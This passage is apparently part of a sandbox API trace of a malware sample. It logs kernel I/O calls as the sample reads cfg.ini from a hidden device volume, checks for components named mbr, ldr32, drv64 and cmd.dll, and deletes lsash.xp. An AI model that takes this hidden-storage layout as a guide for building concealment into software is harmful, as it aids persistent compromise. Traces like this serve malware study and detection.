_Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.360] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.361] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.361] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.361] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.361] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d12d0 [0118.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.361] KeLeaveCriticalRegion () [0118.361] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.361] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.361] KeEnterCriticalRegion () [0118.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.361] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.361] KeLeaveCriticalRegion () [0118.361] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.361] KeEnterCriticalRegion () [0118.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.361] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.361] IdePortDispatch () returned 0x103 [0118.361] KeWaitForMutexObject () returned 0x0 [0118.361] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.361] KeLeaveCriticalRegion () [0118.361] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.362] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.362] KeEnterCriticalRegion () [0118.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.362] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc3000 [0118.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.362] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.362] IdePortDispatch () returned 0x103 [0118.362] KeWaitForMutexObject () returned 0x0 [0118.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.362] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.362] IdePortDispatch () returned 0x103 [0118.362] KeWaitForMutexObject () returned 0x0 [0118.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.362] KeLeaveCriticalRegion () [0118.362] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.363] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.363] KeEnterCriticalRegion () [0118.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.363] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.363] KeLeaveCriticalRegion () [0118.363] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.363] KeEnterCriticalRegion () [0118.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.363] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.363] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.363] KeLeaveCriticalRegion () [0118.363] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.363] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.363] KeEnterCriticalRegion () [0118.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.363] ExFreePoolWithTag (P=0xfffffa80039d12d0, Tag=0x0) [0118.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.363] KeLeaveCriticalRegion () [0118.363] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.363] ReleaseMutex (hMutex=0xf0) returned 1 [0118.364] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.364] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.364] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.364] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.364] KeEnterCriticalRegion () [0118.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.364] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.364] IdePortDispatch () returned 0x103 [0118.364] KeWaitForMutexObject () returned 0x0 [0118.364] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.364] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.364] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.364] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.364] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.364] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.364] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.364] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.364] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.364] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.364] KeLeaveCriticalRegion () [0118.364] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.365] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.365] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.365] KeEnterCriticalRegion () [0118.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.365] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.365] IdePortDispatch () returned 0x103 [0118.365] KeWaitForMutexObject () returned 0x0 [0118.365] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.365] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.365] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.365] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.365] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.365] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.365] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.365] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.365] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.365] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.365] KeLeaveCriticalRegion () [0118.365] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.365] ReleaseMutex (hMutex=0x100) returned 1 [0118.365] Sleep (dwMilliseconds=0x2bf20) [0118.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69c05950, dwHighDateTime=0x1d24fa4)) [0118.373] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.373] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.373] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.373] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.373] KeEnterCriticalRegion () [0118.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.373] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.373] IdePortDispatch () returned 0x103 [0118.373] KeWaitForMutexObject () returned 0x0 [0118.373] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.373] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.373] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.373] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.373] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.373] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d0860 [0118.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.373] KeLeaveCriticalRegion () [0118.373] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.373] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.373] KeEnterCriticalRegion () [0118.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.373] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.373] KeLeaveCriticalRegion () [0118.373] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.373] KeEnterCriticalRegion () [0118.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.374] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.374] IdePortDispatch () returned 0x103 [0118.374] KeWaitForMutexObject () returned 0x0 [0118.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.374] KeLeaveCriticalRegion () [0118.374] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.374] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.374] KeEnterCriticalRegion () [0118.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.374] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc6000 [0118.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.374] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.374] IdePortDispatch () returned 0x103 [0118.374] KeWaitForMutexObject () returned 0x0 [0118.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.374] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.374] IdePortDispatch () returned 0x103 [0118.375] KeWaitForMutexObject () returned 0x0 [0118.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.375] KeLeaveCriticalRegion () [0118.375] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.375] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.375] KeEnterCriticalRegion () [0118.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.375] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.375] KeLeaveCriticalRegion () [0118.375] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.375] KeEnterCriticalRegion () [0118.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.375] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.375] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039caf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.375] KeLeaveCriticalRegion () [0118.375] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.375] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.375] KeEnterCriticalRegion () [0118.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.375] ExFreePoolWithTag (P=0xfffffa80039d0860, Tag=0x0) [0118.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.375] KeLeaveCriticalRegion () [0118.375] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.375] ReleaseMutex (hMutex=0xf0) returned 1 [0118.375] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.376] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.376] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.376] KeEnterCriticalRegion () [0118.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.376] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.376] IdePortDispatch () returned 0x103 [0118.376] KeWaitForMutexObject () returned 0x0 [0118.376] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.376] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.376] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.376] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.376] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.376] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfc90 [0118.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.376] KeLeaveCriticalRegion () [0118.376] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.376] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.376] KeEnterCriticalRegion () [0118.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.376] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.376] KeLeaveCriticalRegion () [0118.376] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.376] KeEnterCriticalRegion () [0118.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.376] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.376] IdePortDispatch () returned 0x103 [0118.377] KeWaitForMutexObject () returned 0x0 [0118.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.377] KeLeaveCriticalRegion () [0118.377] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.377] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.377] KeEnterCriticalRegion () [0118.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.377] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc7000 [0118.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.377] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.377] IdePortDispatch () returned 0x103 [0118.377] KeWaitForMutexObject () returned 0x0 [0118.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.377] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.377] IdePortDispatch () returned 0x103 [0118.377] KeWaitForMutexObject () returned 0x0 [0118.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.377] KeLeaveCriticalRegion () [0118.378] IofCompleteRequest 